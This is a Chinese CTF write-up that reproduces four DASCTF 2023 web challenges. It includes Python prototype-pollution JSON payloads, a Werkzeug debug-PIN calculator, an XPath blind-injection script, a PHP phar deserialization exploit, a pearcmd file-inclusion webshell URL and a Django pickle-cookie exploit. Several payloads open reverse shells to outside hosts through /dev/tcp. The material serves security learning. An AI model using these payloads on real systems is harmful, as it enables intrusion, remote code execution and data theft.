DASCTF 2023 & 0X401七月暑期挑战赛-web复现
别问为什么不复现十一月的那个比赛,下次一定。
EzFlask
进去就有源码了,先cv到编辑规范看一下:
import uuid from flask import Flask, request, session, json from secret import black_list app = Flask(__name__) app.secret_key = str(uuid.uuid4()) def check(data): for i in black_list: if i in data: return False return True def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class User(): def __init__(self): self.username = "" self.password = "" def check(self, data): if self.username == data['username'] and self.password == data['password']: return True return False Users = [] @app.route('/register', methods=['POST']) def register(): if request.data: try: if not check(request.data): return "Register Failed" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Register Failed" new_user = User() merge(data, new_user) Users.append(new_user) return "Register Success" except Exception: return "Register Failed" else: return "Register Failed" @app.route('/login', methods=['POST']) def login(): if request.data: try: data = json.loads(request.data) if "username" not in data or "password" not in data: return "Login Failed" for existing_user in Users: if existing_user.check(data): session["username"] = data["username"] return "Login Success" return "Login Failed" except Exception: return "Login Failed" return "Login Failed" @app.route('/', methods=['GET']) def index(): return open(__file__, "r").read() if __name__ == "__main__": app.run(host="0.0.0.0", port=5010)
看到了merge(),就想到了原型链污染。
推荐看:Python原型链污染变体(prototype-pollution-in-python) - Article_kelp - 博客园 (cnblogs.com)
这里的register好像有什么过滤,check函数里有个从secret里import的blacklist,但是不知道到底过滤了啥。
所以我们可以直接构造一个JSON格式传进去污染试试,发现__init__被ban掉了。
预期解
虽然不能直接输__init__,但是可以通过__file__来读文件,预期解就是算PIN,六个参数也是常客了,分别是:
# username:可以在任意文件读取下读取/etc/passd进行查看 # modname:默认是flask.app # appname:默认是Flask # moddir flask库下app.py的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量 # uuidnode mac地址的十进制:任意文件读取/sys/class/net/the0/address,后面转一下 # machine_id:机器码,可以通过读取/etc/machine-id和/proc/self/cgroup拼接得到
譬如:
username:root modname:flask.app appname:Flask moddir:/usr/local/lib/python3.10/site-packages/flask/app.py uuidnode:173855817367817 machine_id:96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope
然后算PIN(此处sha1加密,而不是旧版的md5):
import hashlib from itertools import chain probably_public_bits = [ 'root', #username 'flask.app', #modname 'Flask', #appname '/usr/local/lib/python3.10/site-packages/flask/app.py' #moddir ] private_bits = [ '173855817367817', #uuidnode '96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope'# machine_id ] h = hashlib.sha1() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode("utf-8") h.update(bit) h.update(b"cookiesalt") cookie_name = f"__wzd{h.hexdigest()[:20]}" # If we need to generate a pin we salt it a bit more so that we don't # end up with the same value and generate out 9 digits num = None if num is None: h.update(b"pinsalt") num = f"{int(h.hexdigest(), 16):09d}"[:9] # Format the pincode in groups of digits for easier remembering if # we don't have a result yet. rv = None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = "-".join( num[x : x + group_size].rjust(group_size, "0") for x in range(0, len(num), group_size) ) break else: rv = num print(rv)
然后进consoleRCE。
非预期解
挺妙的非预期,可以看看提供一下思路。
第一种是直接用__file__读环境变量:
__file__是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。 在您的情况下,模块正在__file__全局名称空间中访问其自己的属性。
{ "username":"111", "password":"222", "__class__":{ "check":{ "__globals__":{ "__file__" : "/proc/1/environ" } } } }
先在注册里污染,然后get直接访问就行:
还有一种叫static静态目录污染:
_static_url_path 这个属性中存放的是flask中静态目录的值,默认该值为static。访问flask下的资源可以采用如http://domain/static/xxx,这样实际上就相当于访问_static_url_path目录下xxx的文件并将该文件内容作为响应内容返回
出自:DASCTF 2023 & 0X401 Web WriteUp - Boogiepop Doesn't Laugh (boogipop.com)
先用unicode编码绕过也能用__init__,然后把_static_folder
的值就变成根目录,就可以直接在/static/proc/1/environ读环境变量了:
真的妙。
MyPicDisk
XXE盲注+phar反序列化。
首先是个登录,随便试了试username=admin',password=1'进去了,但是给了个alert:
看来另有玄机。
bp抓包看到个hint:
下载下来发现index.php源码:
看到下面这部分就知道,__destruct()处可以RCE。
下面还有个文件上传,很自然想到phar反序列化。
但首先需要session==admin,这里确实没遇到过XXE盲注的东西,算是多了一个见识:
import requests import time url ='http://0c24dcff-93b5-45cc-85eb-7f481c672e87.node4.buuoj.cn:81/index.php' strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' flag ='' for i in range(1,100): for j in strs: #猜测根节点名称 # payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123} #猜测子节点名称 # payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0]) #猜测accounts的节点 # payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0]) #猜测user节点 # payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0]) #跑用户名和密码 # payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j) payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j) data={ "username":payload_username, "password":123, "submit":"1" } # # payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0]) #print(payload_username) r = requests.post(url=url,data=data) time.sleep(0.1) # print(r.text) #003d7628772d6b57fec5f30ccbc82be1 if "登录成功" in r.text: flag+=j print(flag) break if "登录失败" in r.text: break print(flag)
跑出来的密码MD5加密了,所以要去转一下:
然后就是文件上传。
这里有个小过滤,但是问题不大,因为phar文件识别的只是那个__HALT_COMPILER标签不是后缀。
最后传一个todo=md5就能echo,很自然想到把这里作为phar反序列化入口来打,可以命令写文件。
exp:
<?php class FILE{ public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>2.txt"; #这里base64编码命令为:cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd public $lasttime; public $size; public function remove(){ unlink($this->filename); } public function show() { echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>"; } } #获取phar包 $phar = new Phar("abcd.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new FILE(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); ?>
index.php?file=phar://adcd.jpg&todo=md5
可以先换ls /读目录:
访问写的文件2.txt:
或者反弹shell:
//bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9zZXJ2ZXIubmF0YXBwZnJlZS5jYy8zNDU2NiAwPiYx}|{base64,-d}|{bash,-i}' //base64部分:bash -i >& /dev/tcp/server.natappfree.cc/34566 0>&1
还有另外的做法,可以看看:[DASCTF 2023 & 0X401七月暑期挑战赛] Web方向部分题 详细Writeup-CSDN博客
ez_cms
最近打比赛第一次遇到用pearcmd本地文件包含,这次复现恰好又用上了哈哈~
但是据说开始做还是比较难受的,我也只能跟着复现打wwwww......
靶机用的是熊海CMS的任意文件包含CVE,首先进admin登录,结果用的弱密码,123456就进去了:
借用Boogipop师傅的wp:
我们直接用payload开打:
<url>/admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST['cmd']);?>+../../../../../../../../tmp/shell.php
记得用bp直接传参,这里有个很大的问题,复现了好几次都不成功,如果网页传参或者hackbar会url编码,让内容失效。
然后直接蚁剑连就行,也没涉及到SUID提权:
url:
<url>/admin/index.php?r=../../../../../../../../tmp/shell
ez_py
Python Django搭的框架,但是以前没接触过。
源码审计也没找到什么漏洞点,然后看到了settings.py:
""" Django settings for openlug project. Generated by 'django-admin startproject' using Django 2.2.5. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import os # Build paths inside the project like this: os.path.join(BASE_DIR, ...) BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) # Quick-start development settings - unsuitable for production # See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/ # SECURITY WARNING: keep the secret key used in production non-secret! SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn' # SECURITY WARNING: don't run with debug turned on in production! DEBUG = False ALLOWED_HOSTS = ["*"] # Application definition INSTALLED_APPS = [ # 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', 'app' ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware', 'django.contrib.sessions.middleware.SessionMiddleware', 'django.middleware.common.CommonMiddleware', # we're going to be RESTful in the future, # to prevent inconvenience, just turn csrf off. # 'django.middleware.csrf.CsrfViewMiddleware', 'django.contrib.auth.middleware.AuthenticationMiddleware', 'django.contrib.messages.middleware.MessageMiddleware', 'django.middleware.clickjacking.XFrameOptionsMiddleware', ] ROOT_URLCONF = 'openlug.urls' # for database performance SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' # use PickleSerializer SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [], 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, }, ] WSGI_APPLICATION = 'openlug.wsgi.application' # Database # https://docs.djangoproject.com/en/2.2/ref/settings/#databases DATABASES = { 'default': { 'ENGINE': 'django.db.backends.sqlite3', 'NAME': os.path.join(BASE_DIR, 'db.sqlite3'), } } # Password validation # https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators AUTH_PASSWORD_VALIDATORS = [ { 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator', }, { 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', }, { 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator', }, { 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator', }, ] # Internationalization # https://docs.djangoproject.com/en/2.2/topics/i18n/ LANGUAGE_CODE = 'zh-Hans' TIME_ZONE = 'Asia/Shanghai' USE_I18N = True USE_L10N = True USE_TZ = True # Static files (CSS, JavaScript, Images) # https://docs.djangoproject.com/en/2.2/howto/static-files/ STATIC_URL = '/static/' LOGIN_URL = '/'
本来以为就是一个平平无奇的配置文件,但是找到了:
意思就是用了session//cookie,SESSION_SERIALIZER是pickle,还告诉你secret_key,很难不想到pickle反序列化。
默认用的是JSONserialize,但是也可以改成pickle。
借用Boogipop师傅的exp:
import urllib3 SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn' salt = "django.contrib.sessions.backends.signed_cookies" import django.core.signing import pickle class PickleSerializer(object): """ Simple wrapper around pickle to be used in signing.dumps and signing.loads. """ def dumps(self, obj): return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL) def loads(self, data): return pickle.loads(data) import subprocess import base64 class Command(object): def __reduce__(self): return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/xxxx/7777 <&1"',),-1,None,None,None,None,None,False, True)) out_cookie= django.core.signing.dumps( Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer) print(out_cookie)
把得到的cookie拿去打auth路径,
注意版本问题,所以反弹shell的exp需要在python3.5环境上运行,不然弹不出来:
恰好最近在学用docker搭环境,这里就顺水推舟用了个docker来拉取python3.5镜像解决这个问题:
docker pull python:3.5 docker run -it --name python35 python:3.5 /bin/bash root@91bb35a847a6:/# apt-get update apt-get install -y python3-pip pip install urllib3 apt-get install -y vim vim exp.py pip install django python exp.py //gASVagAAAAAAAACMCnN1YnByb2Nlc3OUjAVQb3BlbpSTlCiMPGJhc2ggLWMgImJhc2ggLWkgPiYgL2Rldi90Y3Avc2VydmVyLm5hdGFwcGZyZWUuY2MvMzU0MDEgPCYxIpSFlEr_____Tk5OTk6JiHSUUpQu:1r8Ix9:MBgU3Q2aR4eO1U8hZFI0ljA0R1Q
然后就是在登录的时候把cookie发上去,直接反弹shell:
(python3.5环境下exp就能出,但是高版本下,会报SECRET_KEY的错误)
ez_timing(没复现,找不到环境)
但可以看看别人的wp: